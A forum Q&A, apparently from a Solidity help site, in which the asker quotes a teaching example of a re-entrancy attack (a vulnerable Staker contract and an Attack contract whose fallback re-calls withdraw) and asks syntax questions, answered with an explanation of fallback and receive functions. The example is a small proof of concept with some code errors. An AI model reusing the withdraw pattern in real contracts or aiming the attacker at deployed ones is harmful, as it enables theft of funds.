0

hey guys I come across this video about re-entrancy attack posted by Chainlink, but I have some questions about the syntax being covered. please help.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Staker {
    mapping (address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value; 
    }

    function withdraw(uint256 _amount) public {
        require(_amount < balances[msg.sender]);

        (bool success, )= msg.sender.call{value:_amount}(""); 
        require(success, "failure to send");

        balances[msg.sender] -= _amount; 
    }
}

contract Attack {
    Staker public stakerInstance; 

    constructor (address payable _stakerInstance) public {
        stakerInstance = Staker(_stakerInstance);
    }

    fallback() external payable {
        if (address(stakerInstance).balance >=0 ){
            stakerInstance.withdraw(address(stakerInstance).balance);
        }
    }

    function attack(address payable _stakerInstance) public payable {
        uint256 amount = msg.value;
        stakeInstance.deposit.value(amount)();
        stakeInstance.withdraw(amount);
    }
}

here's my question:

  1. the video mentions that "your fallback function will be trigger when you receive the coin", why is that? I thought the fallback function will only be triggered when the function being called does not exist or no data is supplying such function.
  2. for this line of code
 (bool success, )= msg.sender.call{value:_amount}("");

I thought we should use abi.encodeWithSignature after the {value:_amount}, but instead the coder just typed (""), why is this okay?

Thank you for your patience!

1 Answer 1

1

The command msg.sender.call{value:_amount}(""); is calling the calling contract while supplying some Ether value. Since it's not calling any specific function (("")) the contract's receive or fallback function is triggered.

Since the contract happens to have a payable fallback function, that gets triggered. If the contract didn't have such a function, the call would revert.

You can read more about the fallback function here: https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function (check also the receive above it)

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.